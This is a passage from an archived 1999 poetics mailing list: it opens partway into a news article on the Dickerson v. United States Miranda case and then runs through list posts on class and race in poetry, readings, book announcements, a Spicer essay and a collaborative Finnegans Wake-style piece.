Dissenting Supreme Court justices accused the majority of exaggerating police misconduct. They also predicted that the court-crafted Miranda rules would return killers and rapists to the streets.

"As a consequence, there will not be a gain, but a loss, in human dignity," Justice Byron White wrote.

Mr. Cassell and other critics say Justice White's fears have come to pass. He cited studies suggesting the Miranda rules have gutted cases, either because the rules shut off interrogations or because police officers committed technical violations in reading the rights.

Supporters of the Miranda ruling said evidence of failed prosecutions is vastly overstated, and that most police groups support Miranda. They said the rules have forced police and prosecutors to act more professionally and work harder to build better cases.

The case that made his name famous did not free Mr. Miranda. Prosecutors went back to Arizona and convicted him on evidence other than his confession.

Eventually released, Mr. Miranda made pocket money by autographing police-issued Miranda cards before he was stabbed to death in a 1976 bar fight.

Mr. Dickerson's journey to the Supreme Court began on Jan. 27, 1997. FBI agents and Virginia police visited his Maryland home to discuss an $876 bank robbery three days earlier in Old Town Alexandria, Va.

Mr. Dickerson first denied any knowledge of the robbery but said he had been in the area when it happened. The FBI then obtained a search warrant for his home. Apprised of this, Mr. Dickerson told the FBI he had driven to Alexandria with a relative named Jimmy, who had a history of bank robberies.

Court records indicate that officers then gave Mr. Dickerson his Miranda warnings, though the timing is in dispute.

The case forces the Supreme Court to consider not only the responsibilities of police and suspects, but the relationship between Congress and the courts.

The more conservative court, led by Chief Justice William Rehnquist, has tended to favor police. But it has also struck down what it perceives as congressional attempts to override court rulings.

Texas case a factor

Two terms ago, in a case involving a Catholic church near San Antonio, the high court slapped down what it called a congressional attempt to overturn a key church-state ruling.

If the court applies the same logic in the Dickerson case, supporters of Miranda said the justices have no choice but to strike down the 1968 congressional law.

"That was the basis for the [Texas] decision: 'We [the justices] make the constitutional rules, you do not,' " said Steven Shapiro of the American Civil Liberties Union.

In upholding the case against Mr. Dickerson, the appeals court chided the Justice Department for not invoking the 1968 law. In a brief to the Supreme Court, Attorney General Janet Reno argued that Miranda is good law and that Congress lacks the authority to tamper with it.

Critics of Miranda said Chief Justice Warren did not give the warnings the status of constitutional rights. Therefore, they added, Congress and state legislatures have the right to set rules for criminal trials.

The congressional law also does not forbid police from issuing Miranda rulings if they choose to, supporters said. Forced confessions would still be forbidden in court, even if the Miranda decision is overturned.

"I don't think the sky will fall," Mr. Cassell said. "The only thing that will change is that criminals won't go free because of technicalities."

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123. Poetics List
more Miranda
Wed 8 Dec 1999

I did manage to find one more recent article;
this from New York Law Journal for 7 December:

"The Justices [have] agreed to decide whether
a federal law overturned ‹ or at least dramatically
limited ‹ one of the Court's most famous decisions,
one that since 1966 has required police to warn
criminal suspects of their rights before questioning
them.

To be decided by late June in Dickerson v.
United States, 99-5525, is whether the incriminating
statements a Maryland man made to FBI agents should
be used as evidence in his bank robbery trial even
though he may not have received a proper Miranda
warning."

<http://www.nylj.com/stories/99/12/120799a5.htm>

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124. Karen Kelley
Fw: Borges, of interest
Wed 8 Dec 1999

Browsing Poetics as a breather from a project to "translate" a paper-based technical manual into a web labyrinth.

Serendipitous link!

> From: f i l c h <[redacted]>
> To: [redacted]
> Subject: Borges, of interest
> Date: Monday, December 06, 1999 10:13 AM
>
> http://www.salonmagazine.com/books/feature/1999/12/06/borges/index.html

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125. Mark Prejsnar
whiteness and poetry
Wed 8 Dec 1999

in the main, though, Aldon's right about the lack of any attention to poetry/poetics in the current interrogations of whiteness--what gives on this?

****

Michael,

in general, you'll find little attention to poetry on the part of theorists who deal with identity politics issues; and indeed, with cultural politics of any sort...

When attention is given, it is likely to be to formally conservative forms of writing that can be "interrogated" without talking back too much: that can be examined as transparent, unproblematic statements or symptoms, without worrying about all that messy artistic stuff which theorists would prefer didn't exist.

Thus the importance and excitement attaching to the theorist/critics who *are* looking at poetry in relation to the broad public space of race and ethnicity and politics issues....such as listoids Maria and (centrally) Aldon.....

--m.

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126. Kathy Lou Schultz
Re: CLASS (fwd)
Wed 8 Dec 1999

---------- Forwarded Message: ----------
From: [redacted]
To: [redacted]
Subject: Re: CLASS
Date: Wed, 08 Dec 1999 01:07:39 +0000

Katie, why do you protest so vehemently to posts
concerning class and writing? From what position do you
justify your argument that discussions of class are in
fact separate from discussions of "a poem's actual
structure or technique or craft"? What do you deem to be
"other interesting things"?
Your post seems quite reactionary to me and I frankly find
it disturbing. From whence this vehemence to silence
discussions about class "(class/race/gender/blah blah
blah)"? Do I really have to make a choice between being
one or the other, in your words, roles as "writers or

civil rights activists"? What about some of the great
contemporary innovative writing by poets who are *both*?
See, for example, Erica Hunt's Local History. How is it
possible to read someone like Hunt without reading race?
without reading class, or gender?
What kind of world is it that you live in where it is
possible to separate language from politics? from power?
from race? from class? from gender?
You might want to take a look at work being done in
poetics, some of the most excellent by folks on this list.
See, for example, Aldon Nielsen's Black Chant: Languages
of African-American Postmodernism, or the volume edited by
Charles Bernstein: The Politics of Poetic Form.
Kathy Lou Schultz

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127. Kathy Lou Schultz
Re: whiteness and poetry
Wed 8 Dec 1999

I agree with this assessment. There's some very
interesting work being done on "whiteness" in the social
sciences, such as John Hartigan Jr.'s enthnographic
studies of poor whites in Detroit and Ruth Frankenberg's
ground-breaking work, but literary criticism lags behind.
I think there is opportunity, and necessity, to fill the
gap. Any suggestions that people have on work that *is*
being done in this area in lit crit, please tell. I'm very
interested in this topic.
Thanks,
Kathy Lou Schultz
> in the main, though, Aldon's right about the lack of any attention to
> poetry/poetics in the current interrogations of whiteness--what gives on
> this?
>
> **********
>
> Michael,
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> theorists who deal with identity politics issues; and indeed, with
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> of writing that can be "interrogated" without talking back too much: that
> can be examined as transparent, unproblematic statements or symptoms,
> without worrying about all that messy artistic stuff which theorists would
> prefer didn't exist.
>
> Thus the importance and excitement attaching to the theorist/critics who
> *are* looking at poetry in relation to the broad public space of race and
> ethnicity and politics issues....such as listoids Maria and (centrally)
> Aldon.....
>
> --m.

↑ Index

128. George Bowering

Re: Seattle businesses boycott

Wed 8 Dec 1999

> *It's almost impossible not to use Windows*

I have been using computers at home since the very early eighties, and I have NEVER once used Windows. I would not call that "almost impossible".

George Bowering.

,

fax: [redacted]

↑ Index

129. Taylor Brady

A Nonce Theory of Language Surplus, in Solidarity with Certain Non-sense Syllables Reclaimed by Dodie Bellamy (was RE: CLASS)

Wed 8 Dec 1999

Blah blah blah,
"it is a judgment"

*

"This court is generously swayed.
Lunch break, sure. That eight-hour

day -- yeah, whatever. Blah
blah blah. You will not speak

to the court as it speaks
to you. Now shut up, get back

to work. Our syllables are
expensive. You are in debt."

*

...or talk and work, all the same.
Shift by shift the mouth's noise swings
so as to empty out. Talk,
cooked, goes raw. Material
for a monument, polished
to receive inscription, take
dictation: BLAH BLAH BLAH.
Roman caps, human-high.

*

I was small, the world less so.
Late from work, or early for
the next day, large people read
largely from small books to me.
Labored, worked over, beat, gassed,
their mouths made many noises.

I can't hear. There is one sound,

now, the huge robot head out
front. Hydraulic steel jaws take
industry to move. Blah blah
blah - blow by blow the breath
behind the heated words gets
taken up the ducts as steam.

*

I can't hear, but my neighbor
owns a wrench. And we will learn
by gesture and by sign how
to take a hinge apart. Name
the sorted salvage with one
syllable, the only one
it ever made for us. And
repeat, and then again,
calmer than at first. Second
time's a charm, third time a curse.

---------- ...all of which, by way of explaining my sense that Dodie's "blah blah blah" functions very differently from Katie Degentesh's. It's one thing to point out satirically (with Dodie) that someone has named themselves as an accomplice in the ideological administration of culture that wants to reduce the status of class, race and gender therein to a "blah blah blah." It's quite another to be such an accomplice, which is the direction in which Katie's intervention tends.

Yes, poetry can be one way to think the possibility of a world in which class, race and gender as compulsory narratives of origin are perhaps less binding, in which "we" make culture with collective regard to craft and care, rather than (or at least alongside) the overarching question, "Who benefits?" But it doesn't become such a practice simply by living in denial of the damaged world it's handed, on and in which it has to do whatever work it does.

from my "new class" desk job, on my lunch break,
Taylor

↑ Index

130. Arielle C. Greenberg
Barbara Guest (& Kenneth Koch)
Wed 8 Dec 1999

A little report on a reading, but first a request: I am planning on writing an essay on Barbara Guest's work, mainly focusing on how it has influenced the currently emerging experimental women poets. But I would love citations or suggestions of critical essays on Guest's work that anyone is aware of. Thanks very much. You can backchannel.

I was in Barbara Guest's master class for poetry this weekend at the 92nd Street Y, and she was elegant and kind and had astute comments. I also attended her subsequent reading on Monday night with Kenneth Koch, introduced by John Ashbery -- were any of you there? It was a mostly older crowd, who seemed a bit baffled by Barbara Guest's work, but also charmed. She has a lovely voice and her work is difficult and challenging in the best ways. She read mostly from _Rocks on a Platter_. Kenneth Koch read from a forthcoming book of "addresses" -- to things, not places he's lived. They were funny and full of energy, and so was he. Interesting to me how differently the two poets have changed over the years, the very alternate courses their work has taken. Barbara Guest seems, despite her apparent distance from "the academic," more and more interested in "the nature of the text" and her work is very different than her early stuff...Kenneth Koch in many ways seems to be writing in much the same vein, though he is dealing a lot with getting older in his work.

Sorry...brief and shallow comments...I am braindead. I'm sure I can be more eloquent and thoughtful if anyone is interested in discussing.

Arielle

********** "I thought numerous gorgeous sadists would write me plaintive appeals, but time has gone by me. They know where to get better looking boots than I describe." -- Ray Johnson

↑ Index

131. Stephen Vincent
A Spicer Story
Wed 8 Dec 1999

A Spicer Story (sort of)

This last weekend I was on a walk (here in San Francisco) with friends that started at Fog City Diner on the Embarcadero side of Telegraph Hill. We went up the steps to Coit Tower - took in the wonderful murals from the WPA thirties (which are, among other things, a great embodiment of the art, intellectual and political life of the City circa 1939) - went down the hill into North Beach, passed not far from Gino & Carlos to Washington Square Park to take in the Fire Department sculpture/shrine (there's always a recent beer bottle up the outstretched bronze fingers of the Fireman); went up to the SF Art Institute where, on the inside Mission Revival style patio, in progress is a Hollywood style production of a film to be called "The Sculptress" - the dark haired heroine - looking appropriately schoolish and devoted - quotes her lines behind from behind a cut green-leafed tree branch held up on a rod with a metal clamp while we step into the Gallery to look at the splendid Diego Rivera mural: an optimistic, worker centered vertical scaffold vision - including the painter and his assistants - in which City and country are being rebuilt. A fiction upon a fiction. From the Art Institute we walk over the bay side of Russian Hill and take Polk Street down to Aquatic Park where we sit down on the edge of a low, contoured sea wall that separates the narrow beach from the sidewalk, the Maritime Museum building and the matching contour concrete bleachers that rise and overlook the harbor which is almost entirely encircled by the curve of two breakwaters - the view a lovely kind of cement necklace with an opening out to the larger bay with Angel Island and Mt. Tamalpais rising in the distance through a mix of sun, clouds and fog. The beach itself is a full of grey and black, large stones, remnants from the construction of the sea wall and breakwater; their odd wet shapes, some full of myriad angles and planes, once broken apart by steam shovel, sledge hammers, and/or picks. Directly in front of us, in this relatively small vista, a number of the stones are precariously balanced, one on one

– sometimes there are three – standing end upon end, creating improbable geometric figures, a feather-touch from falling over. At the front of two or three receding rows, a thin, olive complexioned man - maybe 12 feet down from us - is crouched on one knee, both hands gripped around a large stone; he holds it up and positions the lower end over another "base" stone and begins to explore the point where a plane on one rock will match and balance itself on a plane of the other. Testing and shifting the balance, he twists and tilts the upper stone - lightly scraping it on the other, moving it up and down one plane, then another. If there's slippage, he pivots the rock and tests it again. He never adjusts the bottom rock, as if that will be somehow to cheat or alter some basic fact. His long, slender fingers resemble those of a piano player; in fact the process of working the stones is perhaps comparable to tuning an instrument, listening for the perfect pitch. Three, maybe five minutes pass. He is patient, very patient and he works as if unquestionably convinced that a singular balance will come to figure. Finally, if the activity were not so focused, one might say "as if by magic" - he finds the tilt, the balance that works; gradually he withdraws his hands to make a complete break and comes out of his crouch to observe the combined shape of the two stones. Spontaneously we clap. "This is a gift," he speaks to us, "I've been given this gift. It takes patience. It is a gift to the City." He sweeps his arm out across the Bay towards the Bay, the islands and Mt. Tamalpais. "This is a powerful place. All that energy comes right to here. To find the balance I just have to be patient. I had to learn patience." There is a faded dark, blue bracelet design tattoo on his wrist, another tattoo up on his forearm, and one on his neck - possibly a gang, prison time or both: a life time totally separate and behind him. As he speaks a small waves knocks over two of the sculptures. “At the end of the day, they all come down. At night the birds need to eat the creatures in the sand without getting injured.” He then asks, "Would someone like to pick a rock? I can work with anything I can lift." One of our friends picks a rock and the process begins again.

In Peter Gizzi's excellent Afterword to his book, The House That Jack Built, The Collected Lectures of Jack Spicer, he describes the late poet in and around North Beach, including his usual afternoon stroll to Aquatic Park - a route not dissimilar to the one we have taken. Here, if he did not meet or gather with other friends, he sat to listen in solitude to the Giants baseball game on a transistor radio. This Park one of those places - an urban version of a sacred grove - where power gathers and takes focus. A place to be open, to take in “the dictation,” those powerful forces from the outside, that could invade the poet’s body anywhere, anytime. To be on the ready - note book and pen on hand – ready to move the words, one by one, into right location. Words, those awkward objects not indifferent from these stones ("the furniture"), their awkward planes and angles, a debris of intractable syllables; words, to which the poet patiently

listens, tilts, and pivots until they somehow miraculously conjoin and fit into jagged lines: gravitationally balanced and loaded. Poet and Sculptor - both tested and scarred - strikingly similar and grateful to take the pitches from the "outside." Those forces crossing the Bay out of a vague horizon of cloud, sunlight, mountain and island. The sculptor - as in Spicer's After Lorca - the poet's correspondent: another time, another maker: ...Things do not connect; they correspond. That is what makes it possible for a poet to translate real objects, to bring them across language as easily as he can bring them across time. That tree you saw in Spain is a tree I could never have seen in California, that lemon has a different smell and a different taste, BUT the answer is this -- every place has a real object to "correspond" with your real object...(perhaps as unapparently as that lemon corresponds to this piece of seaweed) and, in turn, some future poet will write something which "corresponds" to them. That is how we dead men write to each other.

- each new sculpture, a new translation. A process continuous.

Cheers, Stephen Vincent

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132. Elizabeth Treadwell

Goddess 2000 needs alibis/offerings!

Wed 8 Dec 1999

Forgive any crosspost or etc; this came from the wompo list, and i thought some folks on this list might be interested as well. Elizabeth

-
Call for Submissions

--

ISIS 2000:
The Goddess in the New Aeon

An Anthology of Goddess Poetry

--- --

As part of the Goddess 2000 project, the Temple of Isis Los Angeles is sponsoring an anthology of goddess-oriented poetry. Poet Denise Dumars will serve as editor of the project. The anthology will be published in April 2000 and poetry readings will be held in conjunction with other Goddess 2000 events.

Guidelines:

Poems of high literary value are requested. Despite the title of our anthology, poems need not be about Isis or the Egyptian pantheon. Poetry about goddesses

from all cultures are sought, as well as poems about "found" goddesses and cultural and mythological heroines.

Please submit poems in the form in which you would like to see them published: i.e., do not double space unless you wish your poem to be double-spaced in the anthology. Your name, address, and phone number should appear on every page you submit. No length limit as yet, but please, no epics!

All forms of poetry--free verse, formalist, experimental--are welcome. Please no more than five (5) poems per submission, and no reprints. SASE with adequate postage is required. Sorry, no email submissions. Deadline for submissions: February 1, 2000.

Contributors will receive one (1) copy of the anthology per piece accepted and will be invited to participate at poetry readings. A limited amount of artwork will be accepted for this project; artists, please query with samples.

Submissions to:
ISIS 2000
Denise Dumars, Editor
P. O. Box 83
Manhattan Beach, CA 90267-0083

Sponsored by the Temple of Isis Los Angeles/Iseum of Isis Pelagia, part of the Fellowship of Isis, Clonegal Castle, Enniscorthy, Eire (Ireland).

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133. Damion Searls

Re: event postings

Wed 8 Dec 1999

>> LEFT HAND READING SERIES PRESENTS:
[...]
>> Thursday, December 16 at 8:30pm
>> Left Hand Books, 1825 Pearl Street, between 18th & 19th, above the Crystal
>> Market.

When advertising events on this list, can you be sure to put the city?! (putting it in the message title would be even better).

Thanks,
Damion Searls

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134. **Maria Damon**
Re: whiteness and poetry
Wed 8 Dec 1999

---

i guess the most interesting thing abt this potential field of study would not be, for example, a mere transposition of the insights of "whiteness studies" onto poetic texts or authors, but an investigation into the categories of poetry and whiteness themselves and what *special* relationship, if any, obtained between them. one might postulate, for example, on how the New Critics/Southern Agrarians conceived of poetry and how that conception came to be socially dominant, in connection with the link (and there was one, very explicitly) between the New Critics and a possessive investment in whiteness. One could also think along lines of specific privileges accorded to whteness and specific assumptions about the "special" place of poetry in literary discourse, and how this specialness is used to render non-white poetries invisible *as* poetry (i.e. it can only serve as sociological evidence, it isn't "good," etc). certain *forms* are also associaetd with whiteness, different class statuses and ethnicites within what is generally called "white," etc.

At 3:02 PM -0500 12/8/99, Mark Prejsnar wrote:
>in the main, though, Aldon's right about the lack of any attention to
>poetry/poetics in the current interrogations of whiteness--what gives on
>this?
>
>**********
>
>Michael,
>
>in general, you'll find little attention to poetry on the part of
>theorists who deal with identity politics issues; and indeed, with
>cultural politics of any sort...
>
>When attention is given, it is likely to be to formally conservative forms
>of writing that can be "interrogated" without talking back too much: that
>can be examined as transparent, unproblematic statements or symptoms,
>without worrying about all that messy artistic stuff which theorists would
>prefer didn't exist.
>
>Thus the importance and excitement attaching to the theorist/critics who
>*are* looking at poetry in relation to the broad public space of race and
>ethnicity and politics issues....such as listoids Maria and (centrally)
>Aldon.....

>
>--m.

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135. Catherine Daly
Re: Humble Seed
Wed 8 Dec 1999

Wasn't this the intent of Sun 'n Moon's Gertrude Stein volumes?

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136. levitsk
Fw: demand release of WTO prisoners
Wed 8 Dec 1999

-----Original Message-----
From: Jennifer Flynn <[redacted]>
To: [redacted]
<[redacted]>
Date: Wednesday, December 08, 1999 12:09 PM
Subject: Fw: demand release of WTO prisoners

> *-----Original Message-----*
> *From: L.A. Kauffman <[redacted]>*
> *To: Undisclosed-Recipient:; <Undisclosed-Recipient:;>*
> *Date: Sunday, December 05, 1999 4:58 PM*
> *Subject: Fwd: demand release of WTO prisoners*
>
> *Friends -- A large number of WTO protesters are still being held by the Seattle police.*
>
> *The WTO actions were a huge success -- show your support and appreciation for what they accomplished by demanding the immediate release of all WTO arrestees:*
>
> *CALL AND EMAIL SEATTLE MAYOR PAUL SCHELL*
> [redacted] [redacted]
>
> *CALL AND EMAIL SEATTLE POLICE CHIEF NORM STAMPER*
> [redacted] [redacted]
>
> *CALL AND EMAIL WASHINGTON STATE GOVERNOR GARY LOCKE*
> [redacted] [redacted]

> *TELL THEM THAT WTO OR NOT - THE U.S. CONSTITUTION STILL APPLIES!*

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137. Alan Sondheim

Re: The Traceroute Project - Please Participate (fwd)

Wed 8 Dec 1999

If the Net grinds to a halt, traceroute would record this; I could see a lot of broken limbs out there. Surprisingly, since this announcement has gone the route so to speak, there's been very little indication of duplication - one site is doing a visual look at the world, but more in terms of the creation of an overall graphic - I'm more interested in the bones of everything - Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

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138. Simon DeDeo

Re: Class & Poet[ry/ics]

Wed 8 Dec 1999

Aldon --

When talking about the perception of race in poetry, I'm dealing mainly with "mainstream" public discourse, as opposed to study within the academy -- I have no familiarity with whiteness studies, and I hope I didn't claim to. What I'm reporting is more the impression that what the mainstream media often talk about when they talk about a writer's socioeconomic status is the writer's race. The way the local poetry bookstore here, for example, organizes its books is by race.

Now, to a certain extent this ordering makes sense. But it does seem clear to me that I would never walk in to a bookstore and find a shelf "working class poetry", or if I did, I'd know immediately that it was a conscious decision on the part of the manager rather than an acceptance of a particular, commonly accepted mode of putting the bricks in the boxes.

So what do I mean when I say that class can be used as a blind for race? To me, the division of poetry and poetic practice by race is "a bad thing" --

which may play off of some of my assumptions about poetry. Such as, I believe that experimental poetry is a "sensical term", and that experiment implies collaboration, and that collaborations are the most productive and the most interesting when there aren't barriers to entry.

Given that the division is a bad thing, it seems that it should be something talked about, or worked with/on, or at least acknoledged by a group of readers/writers/critics on a self-described avant-garde poetry list. Saying "the real division is class" often amounts to (a) denying, sidelining the problematic of race divisions and (b) suggesting that divisions are a good thing to start making.

For example -- the "outing" of class (a class outing?) on the list a few days back. What purpose does this serve? And would we want to start outing people by race? Given that we didn't bring up race when we talked about the class membership of people on the list -- but many of us probably agree that the problem of class is partly a problem of race -- wasn't the effect of bringing up class in this way effectively a way of *avoiding* talking about race, a way of apparently discussing socioeconomic status without mentioning race?

-- Simon

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139. **travis ortiz**
Atelos #5 by Lytle Shaw
Wed 8 Dec 1999

Cable Factory 20
by Lytle Shaw

Atelos is pleased to announce the publication of Cable Factory 20, by Lytle Shaw.

About the book:
Inspired by the artist Robert Smithson’s constructed, site-specific convergences, Lytle Shaw has created both a long poem and a complex site for it. The lines of the poem sit amid assorted visual images and atop

cartographic backgrounds. This complex layering of verbal and visual vocabularies produces a terrain of enormous fascination and beauty. It is also pertinent to the larger themes of the work, which is about formations and sedimentations — about deposits of meaning and the forms that rise out of or settle into them.

The work (in 20 sections preceded by a four-part prefatory section) is built around terms from geology and from industry. It traces structures and observes workings. Like William Wordsworth in The Prelude, Shaw finds us situated amid these traces, tracing ourselves. “All links pressure skin.” “Sorting can go on indefinitely.” “Letters man the fill.”

About the author:

Lytle Shaw has previously published four poetry chapbooks. Two of these, Flexagon and The Rough Voice, were created in collaboration with the artist Emilie Clark, with whom he edits Shark, a journal of poetics and art writing. The other two, Low Level Bureaucratic Structures: A Novel and

Principles of the Emeryville Shellmound , also include visual vocabularies, giving evidence of Shaw's continuing investigations of the relation of poetry to the languages of art and architecture.

He grew up in Ithaca, New York. After studying architecture and literature at Cornell University, he attended the University of California at Berkeley, where he is completing a dissertation on Frank O'Hara. His essays and poems have appeared in numerous publications, including The Chicago Review, Poetics Journal, Qui Parle, and Arshile. He now lives in New York City.

About the project:

Atelos was founded in 1995 as a project of Hip's Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically

for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; Cable Factory 20 is volume 5. The project directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Travis Ortiz; cover production and design is by Ree Hall.

Ordering information:

Cable Factory 20 may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1403; phone [redacted] or toll-free [redacted]; e-mail: [redacted].

Title: Cable Factory 20
Author: Lytle Shaw
Price: $12.95
Pages: 112
ISBN: 1-891190-05-9

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140. Louis Cabri
maria damon
Wed 8 Dec 1999

I desperately, immediately need to contact Maria Damon -- Maria -- Damon. Contacting: Maria Damon. Help! Does anyone know how I do it? How! It's Important! Help me! Please, let Maria Damon know I need to get "in touch" with her. If you know how I do this -- thank god! If you know -- great! If, that is, you know.

Very concerned to make contact with Maria Damon,

Shall R. Nameless

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141. Nate and Jane Dorward
*New Publication: Allen Fisher's _The Topological Shovel_*
Thu 9 Dec 1999

A quick commercial break here: the first publication from The Gig Editions, an offshoot of _The Gig_ magazine--

ALLEN FISHER: THE TOPOLOGICAL SHOVEL

This book collects four essays first published in the early 1980s: they form a crucial adjunct to Fisher's poetic sequence _Gravity as a consequence of shape_ but until now have remained difficult of access. The book is in two parts. Part One--“Thumbnail Lecture”, “The Mathematics of Rimbaud” and “The Topological Shovel”--sets forth, in a variety of modalities, the preoccupations that inform _Gravity as a consequence of shape_. Part Two consists of the long essay “Necessary Business”, in which Fisher discusses the work of three contemporary British poets, Eric Mottram, J.H. Prynne and Cris Cheek, as exemplary texts of a poetics of “new pertinence”. _The Topological Shovel_ itself remains pertinent reading to those involved in nonstandard and avantgarde poetics, on either side of the Atlantic. -- A short bibliography gives a list of the main sections of _Gravity_ that have to date been published, with information on how to acquire them.

52pp, large format; $12 Canadian (includes postage within North America) or 6 pounds 50 (includes postage to UK/abroad). Cheques should be payable on a Canadian bank & be made out to "Nate Dorward". Send to: Nate Dorward, 109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada (email: [redacted]).

.....and that's it folks: except that I should mention the planned Feb/March publication of _The Gig_ #4/5, which will be a large (200+pp) perfectbound issue of the magazine devoted to critical articles on the poetry of Peter Riley.

Contributors include Peter Middleton, Bob Perelman, Peter Robinson, John Hall, Simon Perril, Mark Morrisson, Keston Sutherland, Keith Tuma, Nigel Wheale, Lorand Gaspar, Tony Lopez, James Keery, Tony Baker.... et al! Advance subscriptions are very much necessary for this project: those who want copies but have yet to subscribe are urged to drop me a line.

all best --N

Nate Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

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142. daniel labeau
Lowenthal Request
Thu 9 Dec 1999

Howdy--

I'm in search of Jessica Lowenthal's e-mail address (or alternative contact info.) I would greatly appreciate any help.

Thanks,

Daniel Labeau

_____
Get Your Private, Free Email at http://www.hotmail.com

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143. Todd Baron /*/ ReMap Readers
Re: space is the place
Thu 9 Dec 1999

YONDER!

(roanoke!)

↑ Index

144. Marla Jernigan
Inspired by the Wake
Thu 9 Dec 1999

--0-1681692777-944762639=:29484

Here is a piece of writing that I contributed to last night and which I thought would be fun to share with this list. It is untitled;

Torcht of evol meroar lube gnots unlight und gotta be thistledine done zhe hynge vise ahms hex thee cancan vhat nobobodi lyk'd. Careful lubed ghosts got mexican in error or meteors me. Back come the ferrous sweed, hasty and seem, hoo she had now have there into bead. The beard about cash, an introductory exploding mint from Japan in the form of the serial.

------ Midnite from Japan.

------ Cabled box cinch and hairy.

The exponent head. In deremy or thriller sun off on his luck in movie over movie.

------ Cahnt reem'ember, I love zomiees'...

------ That's excellent...

Back comes the Lugosi sweed (sword) . . . Raspander nudge in the arksoul hunch of hind. Deliquesium ermine harse pinch the tempt on a fizzle life.

------ Scmoke, Schpinge phai ondler cankersauce vid de dwarphs, degeneraohm, aye, hrit, hri, um. Faeck. On of loid fan sight senancy. I feen so sense dine. Even pie might well thud midget for me, I susperect. I dunt think in wake. Do shoo do. On nyghts when we I. Ressently, some suddent on my wurt patterns unnimble and at linth. Rilly nix. I eed them.

In jinx al ear.

------ Do.

This was written last night, my first time visiting the atlanta poetry group. The evening plan was to take turns reading from Finnegans Wake and see what developed. There was a lot of conversation, and the readings were a lot of fun too. I'll admit that I've always been somewhat scared of this book but after hearing all the different voices reading it last night I'm excited to try and read now.

I've also never written collaboratively before and so this was a new experience for me. Having Joyce in my ear in the hours preceding the writing certainly contributed to writing like I've never written before.

The authors of the piece above were James Sanders, John Lowther, Mark Prejsnar and myself. It's too bad that the other folks in the group, Karen Phillips, Dana Lustig and Ted Ian, had to leave before we got around to writing anything, I would have been curious to see what they would have contributed to the piece.

Thanks to them all for having me and I hope that this list will be amused by the writing above.

Sincerely,

Marla

Do You Yahoo!?
Thousands of Stores. Millions of Products. All in one place.
Yahoo! Shopping.

--0-1681692777-944762639=:29484

<P><FONT face=Arial><FONT size=2>Here is a piece of writing that I contributed to last night and which I thought would be fun to share with this list. It is untitled;</FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P><FONT face="News Gothic MT" size=3>
<P><FONT face=Arial><FONT size=2></FONT></FONT> </P>
<P><FONT face=Arial><FONT size=2>Torcht of evol meroar lube gnots unlight und gotta be thistledine done zhe hynge vise ahms hex thee cancan vhat nobobodi lyk'd. Careful lubed ghosts got mexican in error or meteors me. Back come the ferrous sweed, hasty and seem, hoo she had now have there into bead. The beard about cash, an introductory exploding mint from Japan in the form of the serial. </FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face="Times New Roman" size=3><FONT face=Arial><FONT size=2>------ Midnite from Japan. </FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face="Times New Roman" size=3><FONT face=Arial><FONT size=2>------ Cabled box cinch and hairy.</FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face=Arial><FONT size=2>The exponent head. In deremy or thriller sun off on his luck in movie over movie.</FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face="Times New Roman" size=3><FONT face=Arial><FONT size=2>------ Cahnt reem'ember, I love zomiees'...</FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face="Times New Roman" size=3><FONT face=Arial><FONT size=2>------ That's excellent...</FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face=Arial><FONT size=2>Back comes the Lugosi sweed (sword) . . . Raspander nudge in the arksoul hunch of hind. Deliquesium ermine harse pinch the tempt on a fizzle life.</FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>

<P><FONT face="Times New Roman" size=3><FONT face=Arial><FONT size=2>------ Scmoke, Schpinge phai ondler cankersauce vid de dwarphs, degeneraohm, aye, hrit, hri, um. Faeck. On of loid fan sight senancy. I feen so sense dine. Even pie might well thud midget for me, I susperect. I dunt think in wake. Do shoo do. On nyghts when we I. Ressently, some suddent on my wurt patterns unnimble and at linth. Rilly nix. I eed them.</FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face=Arial><FONT size=2>In jinx al ear.</FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face="Times New Roman"><FONT size=3><FONT face=Arial><FONT size=2>------ Do.</FONT></FONT></FONT></FONT></FONT><FONT size=2><FONT face=Arial></FONT></FONT></P>
<P><FONT face=Arial size=2></FONT> </P>
<P><FONT face=Arial size=2>This was written last night, my first time visiting the atlanta poetry group. The evening plan was to take turns reading from Finnegans Wake and see what developed. There was a lot of conversation, and the readings were a lot of fun too. I'll admit that I've always been somewhat scared of this book but after hearing all the different voices reading it last night I'm excited to try and read now.</FONT></P>
<P><FONT face=Arial size=2>I've also never written collaboratively before and so this was a new experience for me. Having Joyce in my ear in the hours preceding the writing certainly contributed to writing like I've never written before. </FONT></P>
<P><FONT face=Arial size=2></FONT>The authors of the piece above were James Sanders, John Lowther, Mark Prejsnar and myself. It's too bad that the other folks in the group, Karen Phillips, Dana Lustig and Ted Ian, had to leave before we got around to writing anything, I would have been curious to see what they would have contributed to the piece.</P>
<P>Thanks to them all for having me and I hope that this list will be amused by the writing above.</P>
<P>Sincerely,</P>
<P>Marla</P>
<P> </P>
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<P><FONT face=Arial size=2> </FONT></P>
<P><FONT face=Arial size=2></FONT> </P>
<P> </P>

<hr size=1>Do You Yahoo!?
Thousands of Stores. Millions of Products. All in one place.
Yahoo! Shopping.
--0-1681692777-944762639=:29484--

